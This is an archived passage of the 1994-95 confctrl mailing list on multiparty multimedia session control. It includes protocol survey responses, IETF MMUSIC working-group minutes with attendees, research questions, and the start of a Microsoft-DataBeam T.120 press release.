has been in daily use by a community of over 100 researchers at Bellcore
for 4 years.

The session control protocol and the Touring Machine system that
uses it are implemented in C as a collection of communicating processes
(software objects with well-defined interfaces).

20) Describe, at a fairly high level, the basic directives of the
    protocol.  I.e., What are the protocol "commands" and what
    parameters are required?  If protocol uses a request-response model,
    indicate these pairs.  (If this information is contained in a
    publicly-available paper or report, please provide a reference
    rather than detail here).

The Touring Machine system and and its session control protocol, including
examples are described in "Touring Machine System," Communications of the
ACM, vol 36, no 1, pp. 68-77, January 1993.

From owner-confctrl@ISI.EDU  Fri Dec  2 07:57:02 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA03534>; Fri, 2 Dec 1994 09:57:33 -0800
Received: from scherzo.bellcore.com by venera.isi.edu (5.65c/5.61+local-19)
	id <AA03527>; Fri, 2 Dec 1994 09:57:26 -0800
Received: from scherzo (localhost [127.0.0.1]) by scherzo.bellcore.com (8.6.9/8.6.9) with ESMTP id MAA20403 for <confctrl@isi.edu>; Fri, 2 Dec 1994 12:57:04 -0500
Message-Id: <199412021757.MAA20403@scherzo.bellcore.com>
To: confctrl
Subject: MMUSIC talk
Date: Fri, 02 Dec 1994 12:57:02 -0500
From: Ted Ko <ted@scherzo.bellcore.com>


 I will be giving a talk on Wednesday at the MMUSIC working group meeting 
regarding my thesis work titled "Teleconferencing Session Management Engine".
The basis of this work is the paper "Managing Shared Ephemeral Teleconferencing
State" written by Abel Weinrib, Eve Schooler, and Scott Shenker.  For all
those attending the meeting, it may be helpful to read this paper before my
talk.

-Ted Ko

From owner-confctrl@ISI.EDU  Sat Dec  3 10:28:00 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA24507>; Sat, 3 Dec 1994 18:28:32 -0800
Received: from ibeam.intel.com (ibeam.jf.intel.com) by venera.isi.edu (5.65c/5.61+local-19)
	id <AA24503>; Sat, 3 Dec 1994 18:28:30 -0800
Received: from annco4-2-c17.ssd.intel.com by ibeam.intel.com with smtp
	(Smail3.1.28.1 #6) id m0rE6gV-0003biC; Sat, 3 Dec 94 18:28 PST
Message-Id: <m0rE6gV-0003biC@ibeam.intel.com>
Date: Sat, 3 Dec 94 18:28 PST
X-Sender: aweinrib@ibeam.intel.com
X-Mailer: Windows Eudora Version 2.0.3
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl
From: AWeinrib@ibeam.intel.com (Abel Weinrib)
Subject: Re: MMUSIC talk

A version of the paper that Ted is talking about can be retrieved  from
ftp.isi.edu:confctrl/docs/agree.ps

At 12:57 PM 12/2/94 -0500, Ted Ko wrote:
>
> I will be giving a talk on Wednesday at the MMUSIC working group meeting 
>regarding my thesis work titled "Teleconferencing Session Management Engine".
>The basis of this work is the paper "Managing Shared Ephemeral Teleconferencing
>State" written by Abel Weinrib, Eve Schooler, and Scott Shenker.  For all
>those attending the meeting, it may be helpful to read this paper before my
>talk.
>
>-Ted Ko
>
>


From owner-confctrl@ISI.EDU  Mon Dec 12 09:18:05 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA18160>; Mon, 12 Dec 1994 17:19:27 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-19)
	id <AA18156>; Mon, 12 Dec 1994 17:19:26 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA22213; Mon, 12 Dec 94 17:18:02 PST
Message-Id: <9412130118.AA22213@std.sri.com>
To: confctrl
Subject: MUMS session control protocol survey response
Date: Mon, 12 Dec 1994 17:18:05 -0800
From: Ruth Lang <rlang@std.sri.com>


Session Control Protocol Survey
=======================

Protocol name:		MUMS protocol
Point of contact:	Rachel Jones -- R.M.Jones@lut.ac.uk
			LUTCHI Research Centre
			Dept. of Computer Studies
			Loughborough University of Technology,
			Loughborough, UK

General Description
-------------------------
1. Between what components is the protocol used?

The protocol flows between the session agents, which include the
conference agent (or session manager), the user agent, the media agent
and the floor agent. The protocol also flows between the presentation
managers (user access points), the communications manager(s) and the
task support modules.

2. Describe, at a fairly high level, the characteristics of session
control that are key to your protocol.

The protocol is intended to support a real-time flexible group-working
environment, with access to existing applications. It supports floor
control and a heterogeneous machine environment.

3. Describe, at a fairly high level, the characteristics of session
control that you do not care about or have (un)intentionally ignored.

The protocol does not provide its own transport reliability; it is
assumed to be provided by a lower level protocol.

General Protocol Characteristics
---------------------------------------
4. Is the representation ASCII or binary?

The protocol is ASCII.

5. Is the paradigm request/response (client/server model),
peer-to-peer, or other?

The model is peer-to-peer.

6. Is it asymmetric or symmetric (e.g. do initiator's have special
privileges or state information)? Are all messages sent to all
participants or are some sent to a subset?

All peers are, at the protocol level, considered equal. Asymmetry can
occur because of an imposed or negotiated "policy" for the session,
whereby protocol messages can be directed to a subset of peers.

7. What transport protocol is used (TCP, UDP, multicast)? Does it make
use of other protocols such as RTCP?

The protocol currently uses TCP/IP.

8. Does your session control protocol rely on that protocol's model of
transmission? E.g., does it require reliable, ordered transmission or
is multi-party state synchronisation not a concern?

The protocol relies upon both the ordered and reliable delivery of
messages provided by TCP/IP.

9. Briefly describe the addressing model, if any. I.e., how are
messages routed to peers? Are they sent directly, are multicast groups
used, is message content/ registration used, or other?

Messages can be sent directly to peers and peers can subscribe to an
address and receive all messages sent to that address.


Session Control Characteristics
--------------------------------------

10. How are sessions described? What does a session description
specify -- people, resources, scheduling information, etc.?
Optionally, include an example session description.

The current description format is as follows, where a process might be
a presentation manager (or user access point), a session agent, a task
support module or an application.

conf <id> [start|stop]
conf <id> [add|delete]  <process>

11. Is the session description available and used outside of the
context of the session control protocol? If so, how, (pre-scheduling,
e-mail based initiation, etc.)?

The protocol is currently used to describe pre-configured sessions.

12. How is a session identified? I.e., what is the session "handle"
and to what extent is it globally unique?

The session id is currently a text string. It is not globally unique.

13. Briefly describe the membership model and range of models
supported. Is the model open (potentially unknown participation and
attendance -- lecture hall style), closed (well known and limited --
invitation only style), or other?

The environment assumes closed but changeable membership within the
environment. MBONE style tools can be integrated to support open
membership.

14. How are members name and/or identified? Are e-mail style addresses
used, numeric identifiers, etc.?

Participants are identified by machine location (IP address).

15. Briefly describe "what" is being controlled within a session. Does
the protocol control routing, data flow (e.g., floor control, channel
selection), reflectors, end-user applications, etc.? Are these
entities controlled in a centralised or distributed manner?

The protocol controls the configuration of processes, and thus, the
configuration of participants and applications. It controls routing,
data flow and reflectors. The components operate in a hybrid
architecture under centralised control.

16. How is consensus achieved amoung parties exchanging this protocol?
E.g., does initiator dictate policy, does a mismatch lead to failure,
does negotiation occur when agreement cannot be achieved?

A mismatch can lead to failure.

17. What aspects of the conference are negotiable? Members, protocols,
data formats, resources, scheduling, policy, etc.?

The configuration and the policy can be negotiated by the participants.

18. What policies are implemented explicitly or implicitly (e.g., no
latecomers permitted, only one video flow at a time, etc.)? Is the
choice of policy driven by system requirements, implementation
constraints, resource limitations, etc.? Are the policies
configurable?

Policies are implemented explicitly and are dynamically
configurable. They can be enforced by a nominated participant or
negotiated by the participants. Policies include whether latecomers
are permitted, the floor policy and who is permitted to end the
session.

Session Control Protocol Specifics
------------------------------------------

19. What is the implementation status of the protocol (paper design,
partially or fully implemented)? What language was used to implement
the protocol and how is it packaged (in a library, embedded in an
application)? Is the implementation freely available?

The protocol has been implemented in Prolog to create a development
environment in which support for collaboration is available. A
demonstrator to support collaborating designers has been built with
the environment. The protocol is under continued development. The
implementation is not freely available.

20. Describe, at a fairly high level, the basic directives of the
protocol. I.e., what are the protocol "commands" and what parameters
are required? If the protocol uses a request-response model, indicate
the pairs. (If this information in a publicly available paper or
report, please provide a reference rather than detail here.)

For further information, please contact me.

From owner-confctrl@ISI.EDU  Wed Dec 14 13:33:00 1994
Received: by venera.isi.edu (5.65c/5.61+local-20)
	id <AA26369>; Wed, 14 Dec 1994 22:20:58 -0800
Received: from gatekeeper.mcimail.com by venera.isi.edu (5.65c/5.61+local-20)
	id <AA26365>; Wed, 14 Dec 1994 22:20:48 -0800
Received: by gatekeeper.mcimail.com (5.65/fma-120691);
	id AA29172; Thu, 15 Dec 94 06:24:28 GMT
Received: from mcimail.com by mailgate.mcimail.com id ag02641;
          15 Dec 94 6:19 WET
Date: Wed, 14 Dec 94 18:33 EST
From: Enterprise Management Institute <0006489618@mcimail.com>
To: confctrl <confctrl>
Subject: Enterprise Management Summit '95
Message-Id: <25941214233352/0006489618PK3EM@MCIMAIL.COM>

CALL FOR PRESENTATIONS

ENTERPRISE MANAGEMENT SUMMIT '95
October 23-27, 1995   Infomart   Dallas, Texas


Join leading enterprise management experts at Summit '95, where users of
network and systems management products will come together to tackle
real-world problems and learn about solutions. Share your expertise and
experiences with this highly focused audience.

Topics
Summit '95 will focus on both real-world solutions and underlying
technology. We will examine trends and directions that are changing the
enterprise management industry. Topics to be covered include the management
of: Networks (voice, video and data), Systems (mainframes, minis,
workstations, PCs), Applications, Databases, and Integrated management of
the four domains.

Subjects of particular interest to Summit '95 participants include:
User experiences                New management technologies
Case studies/success stories    Management of new technologies
Automation of functions         Integration of management
Cost saving measures            Innovative solutions
Emerging standards              Applications of management

Note to vendors: Presentations must be focused on technology and/or
solutions. Products may be discussed if integrated within case studies.

Format
Technical Sessions and Panels:  1 hour sessions will be held October 23-25,
1995. Presenters of technical sessions are required to submit a presentation
for publication in the Summit '95 Conference Proceedings.  Please note that
panel session chairs are expected to secure all of the members for the
panel.

Tutorial Sessions:  Half-day, full-day and two day sessions will be held on
October 26-  October 27, 1995. Presenters are required to submit a
presentation workbook for publication.

Submissions
For a proposal to be considered, please submit an abstract of 100-200 words
describing the presentation's subject and format (individual presentation or
panel). The submission should be sent to the Enterprise Management
Institute, Inc.

Deadlines
        February 28, 1995               Proposal Due
        April 28, 1995                  Notification of Acceptance
        August 1, 1995                  Final Presentations Materials Due


For More Information: 800.340.2111/ 415.512.0801


From owner-confctrl@ISI.EDU  Fri Dec 16 09:27:28 1994
Received: by venera.isi.edu (5.65c/5.61+local-20)
	id <AA16809>; Fri, 16 Dec 1994 17:32:44 -0800
Received: from porsche.erg.sri.com by venera.isi.edu (5.65c/5.61+local-20)
	id <AA16804>; Fri, 16 Dec 1994 17:32:43 -0800
Received: by porsche.erg.sri.com (5.65/2.7davy)
	id AA04852; Fri, 16 Dec 94 17:27:28 -0800
Message-Id: <9412170127.AA04852@porsche.erg.sri.com>
Date: Fri, 16 Dec 94 17:27:28 -0800
From: Shehzad Merchant <merchant@erg.sri.com>
To: confctrl
Subject: Unsubscribe...

Please unsubscribe..

Thanks

-Shehzad


From schooler@ISI.EDU  Tue Jan  3 05:08:40 1995
Received: by venera.isi.edu (5.65c/5.61+local-20)
	id <AA25854>; Tue, 3 Jan 1995 13:10:22 -0800
Received: from zephyr.isi.edu by venera.isi.edu (5.65c/5.61+local-20)
	id <AA25848>; Tue, 3 Jan 1995 13:10:19 -0800
Received: by zephyr.isi.edu (5.65c/5.61+local-17)
	id <AA23352>; Tue, 3 Jan 1995 13:08:40 -0800
Date: Tue, 3 Jan 1995 13:08:40 -0800
From: schooler@ISI.EDU (Eve Schooler)
Message-Id: <199501032108.AA23352@zephyr.isi.edu>
To: confctrl
Subject: MMusic San Jose meeting
Cc: aweinrib@ibeam.jf.intel.com, mankin, rem-conf@es.net,
        schooler@cs.caltech.edu


Hi all,

We'd like to wholeheartedly thank both Ruth Lang and Thane Frivold of SRI 
for their extraordinary efforts organizing the MMusic session at the
San Jose IETF.  In addition, many thanks to the many presenters and
participants.  The minutes from the WG meeting are enclosed below,
and include pointers to on-line materials.

Eve and Abel

~~~~~~~~~~~~


      Multiparty Multimedia Session Control WG (MMusic)
                Minutes from the 31st IETF
                    San Jose, California
                     December 7, 1994

		    Meeting Organizers
	   Ruth Lang, rlang@sri.com
	   Thane Frivold, tfrivold@std.sri.com

			Chairs
	   Eve Schooler, schooler@cs.caltech.edu
           Abel Weinrib, aweinrib@ibeam.intel.com


These notes were prepared by Thane Frivold and Ruth Lang.  An on-line
copy of the minutes and the accompanying PostScript slides are
available from ftp://ftp.isi.edu/confctrl/minutes or
ftp://ws11.std.sri.com/confctrl/minutes in the files ietf.12.94 and
slides.12.94.tar.

The Multiparty Multimedia Session Control Working Group (MMUSIC) held
a single two hour session at the IETF meeting in San Jose,
California. The meeting was organized and led by Ruth Lang and Thane
Frivold due to the limited availability of the chairs, Abel Weinrib
and Eve Schooler because of employment changes. During the session,
Abel raised the possibility that the working group consider concluding
or refocusing, especially if the leadership of the group were to
change.

In an effort to make the working group aware of other standardization
efforts, two brief presentations were given on ITU teleconferencing
efforts by Ken Krechmer and Joerg Ott.  Ted Ko gave an overview of
both a centralized and a distributed implementation of the
Shenker-Weinrib-Schooler agreement protocol -- the implementation
experience gave rise to several interesting research issues concerning
generality, dynamicity, and scalability.  A summary of the responses
from a survey of existing session control protocols was given by Thane
Frivold, focusing on functional requirements for both session control
protocols and session descriptions.  Carsten Bormann presented an
overview of inter-system (horizontal) and intra-system (vertical)
session control requirements which left open questions on the
transport and semantic requirements. A presentation was given by Mark
Handley which identified additional requirements for the "sd" protocol
and a discussion of proposed extensions followed. The current goals
and milestones were reviewed by Ruth Lang and a list of potential
working group documents was discussed.

ITU-T Teleconferencing Overview (slides.12.94.a and slides.12.94.b)

Ken Krechmer, Technical Editor for Communications Standards Review,
spoke briefly about the scope and goals of the ITU, and, in
particular, about the ITU's three study groups looking at audio,
video, and data teleconferencing issues and standardization. Ken also
identified associated US Technical Advisory Groups (TAG) which provide
input to the ITU.

Joerg Ott gave a technical overview of the T.120 group, the ITU group
whose work most closely resembles the MMUSIC charter.  In particular,
Joerg outlined the features of the Multipoint Communication Service
(MCS) and the Generic Conference Control (GCC).  MCS provides group
transmission services atop a connection tree of TCP-like connections.
GCC, which is built atop of MCS, provides multiparty session
management. Like the MMUSIC architecture, GCC also makes the
distinction between "horizontal" (conference state exchange) and
"vertical" (media agent control) session control paths. These
recommendations are still under development but are targeted for draft
release in March 1995.

Teleconferencing Session Management Engine (slides.12.94.c)

Abel Weinrib presented an overview of the agreement protocol described
in "Managing Shared Ephemeral Teleconferencing State: Policy and
Mechanism" by Scott Shenker, Abel Weinrib, and Eve Schooler
(ftp://ftp.isi.edu:confctrl/docs/agree.ps).  While teleconferencing
has both policy and mechanism choices, a key to this algorithm is the
separation between resolution policy and system specific decision
mechanisms.  Ted Ko then spoke about his master's thesis work on the
implementation of this protocol.

The core of his implementation is a generalized "session engine" that
is to be used as a service by domain specific session managers. It is
not hard-wried to understand media specific or session specific
details, but rather, manipulates session control aspects expressed by
variables, members, rules, and consistency designators. He described a
session description language that he developed in order to
characterize the state his "session engine" acts upon.  Ted's initial
implementation used a centralized model (one session manager for
multiple applications) and he showed how it could be integrated into
Bellcore's Touring Machine.  The development of a distributed
implementation is complete but requires more thorough testing.

The implementation experience gave rise to several interesting
research issues concerning generality, dynamicity, and scalability. In
considering the generality required to support differing session
management systems, questions of end-system heterogeneity, differing
call models, and session policies arose. More study is required to
determine the appropriate balance between developing an
all-encompassing session engine and the associated cost of such a
heavy-weight implementation.

Source code for the session engine is available by contacting
ted@thumper.bellcore.com (ted@mit.edu after January 15).

Session Control Protocol Survey Report (slides.12.94.d)

In advance of the meeting, a survey of existing session control
protocols was distributed on November 11 by Thane Frivold and Ruth
Lang. Seven responses were received before this meeting on the
following efforts:

   - AVCCP -- Kevin Lew, Janey Hoe (MIT)
   - CCCP -- Mark Handley, Ian Wakeman et al (UCL)
   - EXPANSE -- Howard Bussey, Steven Minzer (Bellcore)
   - GCC -- Joerg Ott, Carsten Bormann (from knowledge of ITU efforts)
   - SRI -- Ruth Lang, Thane Frivold (SRI)
   - Telescope -- Joerg Ott (Tech U. of Berlin), Carsten Bormann (U. of Bremen)
   - Touring Machine -- R. C. Sekar, Brian Coan (Bellcore)

Thane described the goals of the survey which were to encourage
documentation of existing session control protocols and subsequently
use this information in developing a basis for session control
protocol and session description functional requirements. He
identified points of commonality among the systems described despite
the variety of approaches to session management. He also summarized
specific functional requirements gleaned from the responses with
respect to both session control protocols and session descriptions.

Service Interoperability (slides.12.94.e)

Carsten Bormann described conference services as consisting of
communication and cooperation services. He then gave an overview of
session control requirements focusing on both inter-system
(horizontal) and intra-system (vertical) coordination. The horizontal
protocol is used for propagating global state information (e.g.,
membership, policy, encoding formats, and applications). The vertical
protocol implements local decisions (e.g., on local resource usage and
device management) based on global state and presents this conference
state to applications.  Carsten also noted that the horizontal session
protocol (in conjunction with the local vertical protocols) could be
used to transport (some) horizontal application protocols.  Although
somewhat outside the scope of session control per se, the transport
state maintained by the session control association could be used for
low-volume application interaction.  He wrapped up by posing open
questions focusing on whether the transport and semantic requirements
for the horizontal and vertical protocols share the same requirements
and can be satisfied by the same protocol and implementation.

Session Advertisement (slides.12.94.f)

Mark Handley gave an overview of the current sd packet payload
format. Based on experience gained through implementing a clone of
sd, he identified additional requirements for the sd session
description and described proposed extensions to address them. In
particular, he identified the need for extended contact information
(beyond owner of the conference), expected bandwidth consumption,
scheduling information for repeated events, and information required
for PIM. Van Jacobson pointed out that information content is distinct
from the distribution mechanism; other discussion focused on the
utility of including RP for PIM.

Working Group Goals and Milestones Review (slides.12.94.d)

Although the working group has produced an agreement protocol document
and an implementation of the agreement protocol engine, many of the
milestones in the original charter have passed.  As a result, Ruth
Lang presented a list of potential documents that might be appropriate
output for the working group. Suggestions included producing session
control protocol and session description functional requirement
documents (as separate documents from the protocol specification
itself), requirements and specification of the agreement protocol, and
a document on session control architecture. Interest was expressed by
Joerg Ott, Carsten Bormann, Eve Schooler, and Abel Weinrib in working
on an architecture document. Abel Weinrib and Ted Ko offered support
for producing needed documentation on the agreement protocol. Due to
time constraints, little additional discussion took place on scope and
direction of the working group. No action items were assigned as the
Transport Area Director and working group chairs must consult before
amending the charter.

Attendees:

Carsten Bormann        cabo@informatik.uni-bremen.de
Joerg Ott              jo@cs.tu-berlin.de
Frank Kastenholz       kasten@ftp.com
Abel Weinrib           aweinrib@ibeam.intel.com
Eve Schooler           schooler@cs.caltech.edu
John Wroclawski        jtw@lcs.mit.edu
Steve Casner           casner@isi.edu
Ruth Lang              rlang@sri.com
Charley Kline          kline@uiuc.edu
David Aschkensasy      aschked@r.cs.orst.edu
Ted Brunner            ted.brunner@tek.com
Sally Floyd            floyd@ee.lbl.gov
Nachum Shacham         shacham@csl.sri.com
Steve Richardson       sjr@merit.edu
Rosen Sharma           rosens@cs.stanford.edu
Hideki Sunahara        suna@wide.ed.jp
Scott Williamson       scottw@internic.net
Mark Prior             mrp@itd.adelaide.edu.au
Julio Escobar          jescabor@bbn.com
Eric Fleischman        ericf@atc.boeing.com
Pierre Lin             pierre.lin@bani.com
Derya Cansever         dhc2@gfe.com
Lud-Jen Chiang         ljc@lznhbu1.lincroftnj.ncr.com
Bill Babson            wab@netrix.com
Claire Griffin         claire@comedin.com
Jim Dorcey             tim_dorcey@cornell.edu
John Lynn              jal7@cornell.edu
Tom Bowers             tbowers@atg.wiltel.com
Mitra                  mitra@path.net
Steve Justus           justus@hprncl.rose.hp.com
David Kaufman          david@mmac.com
Kathy Huber            khuber@wellfleet.com
Stephen Ostrowski      stephen@wellfleet.com
Phil Irey              pirey@relay.nswc.navy.mil
Joseph Pang            jwpanag@starlight.com
George Kajos           gkajos@world.std.com
Jason Yao              jyar@fla.com
Mark Amari             y-amari@hitachi.com
Susuamu Matsui         matsui@sdl.hitachi.co.jp
Bill Fenner            fenner@cmf.nrl navy.mil
Allison Mankin         mankin@isi.edu
Mark Handley           mhandley@cs.ucl.ac.uk
Ken Krechmer           krechmer@ix.netcom.com
Thane Frivold          tfrivold@std.sri.com
Don Merritt            don@arl.mil
Naohiro Schichijo      shichi@race.u-tokyo.ac.jp
Gerry Meyer            gerry@spider.co.uk
Ed Ellesson            ellesson@vnet.ibm.com
Alon Kleinmum          alon@ubique.co.il
Yoshikumi Maeyama      maeyama@sumitomo.com
Suresh Bhogavilli      suresh@jacks.grfc.nasa.gov
Katsuhiro Selayashi    sebayash@udse.nal.ntt.jp
Dave Monachello        darem@micom.com
Edward Lewis           edward.lewis@gsfc.nasa.gov
Ann Demirtjis          ndemirtje@sprint.corp.com
Anders Klemets         klemets@it.kth.se
Shawn Gillam           shawn@timonWare.com

From owner-confctrl@ISI.EDU  Wed Jan  4 00:43:18 1995
Received: by venera.isi.edu (5.65c/5.61+local-20)
	id <AA03734>; Wed, 4 Jan 1995 08:46:50 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-20)
	id <AA03730>; Wed, 4 Jan 1995 08:46:49 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA07983; Wed, 4 Jan 95 08:43:17 PST
Message-Id: <9501041643.AA07983@std.sri.com>
To: confctrl
Cc: schooler@cs.caltech.edu, tfrivold@std.sri.com, rlang@std.sri.com
Subject: Re: MMusic San Jose meeting 
Date: Wed, 04 Jan 1995 08:43:18 -0800
From: Ruth Lang <rlang@std.sri.com>


Folks,

Please note that the error pointed out in the message below has been corrected
in the minutes file (ietf.12.94) at both ISI and SRI.  I will request that the
error be corrected in the IETF online minutes as well.

Ruth

----- Begin Included Message -----

>From whd@ICSI.Berkeley.EDU Tue Jan  3 17:16:10 1995
From: whd@ICSI.Berkeley.EDU (Wieland Holfelder)
Subject: Re: MMusic San Jose meeting
To: schooler@ISI.EDU (Eve Schooler)
Date: Tue, 3 Jan 1995 17:15:33 -0800 (PST)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 725
X-Lines: 19

Eve Schooler writes:
> available from ftp://ftp.isi.edu/confctrl/minutes or
> ftp://ws11.std.sri.com/confctrl/minutes in the files ietf.12.94 and
> slides.12.94.tar.

Oops, if this is a URL, I guess it should rather be:
ftp://ws11.std.sri.com/pub/confctrl/minutes
                       ^^^
Thanks though,
-- Wieland
-------------------------------------------------------------------------------
Wieland Holfelder
International Computer Science Institute	Email: whd@icsi.berkeley.edu
1947 Center Street Suite 600			Fax  : +1-510-642-6865
Berkeley, CA 94704-1198				Phone: +1-510-642-4274 Ext. 302
					 URL: http://www.icsi.berkeley.edu/~whd
-------------------------------------------------------------------------------

----- End Included Message -----

From owner-confctrl@ISI.EDU  Mon Feb 20 20:01:46 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA29061>; Mon, 20 Feb 1995 12:02:50 -0800
Received: from magician.dcs.qmw.ac.uk ([192.135.232.64]) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA29056>; Mon, 20 Feb 1995 12:02:28 -0800
Received: from dcs.qmw.ac.uk by magician.dcs.qmw.ac.uk with SMTP (PP) 
          id <18345-0@magician.dcs.qmw.ac.uk>; Mon, 20 Feb 1995 20:02:58 +0000
Received: by crackers (940715.SGI.52/QMW-Minimal-1.14) id AA19539;
          Mon, 20 Feb 95 20:01:47 GMT
From: Alastair.Harris@dcs.qmw.ac.uk
Message-Id: <9502202001.AA19539@crackers>
Subject: Opinions Requested
To: confctrl
Date: Mon, 20 Feb 1995 20:01:46 +0000 (GMT)
Cc: Alastair.Harris@dcs.qmw.ac.uk (Alastair Harris)
X-Mailer: ELM [version 2.4 PL13]
Content-Type: text
Content-Length: 3073

  
Hi,

I am a student working towards a Ph.D. and have been looking at video
mediated communication and the session control protocols required to
support them.

One area we are particularly interested in is informal group work,
that is supporting the kind of working environment one would find in
an an open plan office (often referred to as a mediaspace
eg. Xerox). We have been looking at the characteristics that we think
a session control protocol would need to have in order to support such
a 'conference' environment.

We feel that,

 - There will be two primary aspects to the Session model,

	* A long lived 'Awareness Group' - for the propagation of
awareness based information such as snapshots.

	* Short lived 'Focused' Interactions - Audio/Video connections
with particular emaphsis on non-intrusive 'glance', point to point/n-way
videophones.

 - The workgroup would be long lived; A group would be created
(possibly statically) for propagation of 'awareness' type data
eg. video snapshot every 20 mins. Also membership of the group would
implicitly mean that one would accept 'focused' connections (eg videophones)
from other members of the group (without a request - accept call
setup).

- The 'focused' internal group connections such as point-point
audio/video connection need to have fast set up and tear down times to
support the informal communication model, these connections will often
be of a short duration but maybe repeated many times during a
day. Also the membership model for this interaction is implicitly
accepted (since this member belongs to the awareness group)

 - Scaleabilty is not an issue (the work group would be organization
based with maybe 10's of members) 


This seems to motivate a loose control model for the awareness based
state, while the focused interaction would require a more tightly
controlled state model. What we have in mind is a fairly lightweight
session service that aims to support some of the characteristics
identified by sociological research into informal workgroups. Currently
the protocol and session service exists as a paper design only.

I guess the question I am asking is whether people think that this is
a reasonably valid idea for a session protocol, and whether it will be
significantly different from what can be achieved with other protocols
currently being developed (I have read most of the session control
related papers from the confcntrl archives). (eg. could informal
workgroups be supported with a more generic protocol and simply by
applying a policy).


I would really welcome some feedback on this, particularly opinions on
how valid people think a more lightweight session service aiming to
support informal workgroups is, or any advice.


Cheers,

Alastair.

ps. if any of this is unclear I'll be happy to try and clarify it.

--
Alastair Harris                         Internet : alas@dcs.qmw.ac.uk
Computer Science Dept.                  Telephone: +44 71-975 5220
Queen Mary & Westfield College,              
University of London, Mile End Road,    LONDON. E1 4NS, UK.      



From owner-confctrl@ISI.EDU  Tue Feb 21 14:04:20 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA18492>; Tue, 21 Feb 1995 07:05:33 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA18488>; Tue, 21 Feb 1995 07:05:30 -0800
Received: from magician.dcs.qmw.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA04193>; Tue, 21 Feb 1995 06:07:06 -0800
Received: from dcs.qmw.ac.uk by magician.dcs.qmw.ac.uk with SMTP (PP) 
          id <3344-0@magician.dcs.qmw.ac.uk>; Tue, 21 Feb 1995 14:05:42 +0000
Received: by coffee.dcs.qmw.ac.uk (4.1/QMW-Minimal-1.14) id AA07568;
          Tue, 21 Feb 95 14:04:21 GMT
From: richarda@dcs.qmw.ac.uk
Message-Id: <9502211404.AA07568@coffee.dcs.qmw.ac.uk>
Subject: Update of AP Interfnet Draft ?
To: confctrl
Date: Tue, 21 Feb 95 14:04:20 GMT
Cc: Alastair.Harris@dcs.qmw.ac.uk (Alastair Harris, PhD Student)
X-Mailer: ELM [version 2.3 PL11]

Dear Authors of the AP Internet Draft

I have a copy of the October 29, 1993 VERY DRAFTY DRAFT of the Internet Draft

Usage of the Agreement Protocol for Distributed Control of 
Multiparty Multimedia Teleconferences

I would like to ask if you could point me in the direction of a more
recent copy, if one exists.

Thanks

Richard Achmatowicz
-- 
Richard Achmatowicz			Internet: richarda@dcs.qmw.ac.uk
Dept. of Computer Science		Telephone: +44 71-975 5244
Queen Mary and Westfield College	Fax: +44 81-980 6533
University of London

Mile End Road
London E1 4NS  
United Kingdom

From owner-confctrl@ISI.EDU  Thu Feb 23 14:51:35 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA15873>; Thu, 23 Feb 1995 22:52:12 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-21)
	id <AA15869>; Thu, 23 Feb 1995 22:52:11 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA26348; Thu, 23 Feb 95 22:51:46 PST
Message-Id: <9502240651.AA26348@std.sri.com>
To: richarda@dcs.qmw.ac.uk
Cc: Alastair.Harris@dcs.qmw.ac.uk, confctrl
Subject: Re: Update of AP Interfnet Draft ? 
In-Reply-To: Your message of "Tue, 21 Feb 1995 14:04:20 GMT."
             <9502211404.AA07568@coffee.dcs.qmw.ac.uk> 
Date: Thu, 23 Feb 1995 22:51:35 -0800
From: Ruth Lang <rlang@std.sri.com>


Richard:

> I have a copy of the October 29, 1993 VERY DRAFTY DRAFT of the Internet Draft
> 
> Usage of the Agreement Protocol for Distributed Control of 
> Multiparty Multimedia Teleconferences
> 
> I would like to ask if you could point me in the direction of a more
> recent copy, if one exists.

See ftp://venera.isi.edu/confctrl/docs/agree.ps or contact one of the
authors of the document directly.

Ruth Lang

From owner-confctrl@ISI.EDU  Thu Mar  9 09:06:06 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA17272>; Thu, 9 Mar 1995 17:06:09 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-21)
	id <AA17267>; Thu, 9 Mar 1995 17:06:08 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA05861; Thu, 9 Mar 95 17:06:07 PST
Message-Id: <9503100106.AA05861@std.sri.com>
To: confctrl
Subject: FYI: Microsoft Licenses DataBeam's T.120-Based Tools
Date: Thu, 09 Mar 1995 17:06:06 -0800
From: Ruth Lang <rlang@std.sri.com>


FYI.  I received this from Jon Steer who posted a message to rem-conf earlier
this week looking for a comment on the enclosed and on impact to conference
control related work.

Ruth

     ----------------- PRESS RELEASE FOLLOWS -----------------------
     
     
     FOR IMMEDIATE RELEASE 
     
     
     
     
     MICROSOFT AND DATABEAM ANNOUNCE DATA-CONFERENCING
     TECHNOLOGY RELATIONSHIP
     
     Microsoft Licenses DataBeam's T.120-Based Tools to Build Real-Time,
     Multi-Point Applications
     
     REDMOND, Wash. and LEXINGTON, Ky., Feb. 7, 1995 -- Microsoft Corp. and 
     DataBeam Corp. announced today that they have executed an agreement in 
     which Microsoft will license conferencing technology from DataBeam? to 
     enable Microsoft? Windows? operating systems with multi-point 
     collaboration capabilities.  In addition, the companies are evaluating 
     potential areas for future joint development efforts.
     
     DataBeam's technology is based on the T.120 standards for multi-point 
     data communications, an open set of protocols developed by the 
     International Telecommunications Union (ITU) to establish 
     interoperability among conferencing vendors, products and services.
      
     "Microsoft's decision to offer conferencing capabilities to its 
     customer base greatly energizes the immense potential market for 
     real-time, collaborative applications," said Lee Todd, president and 
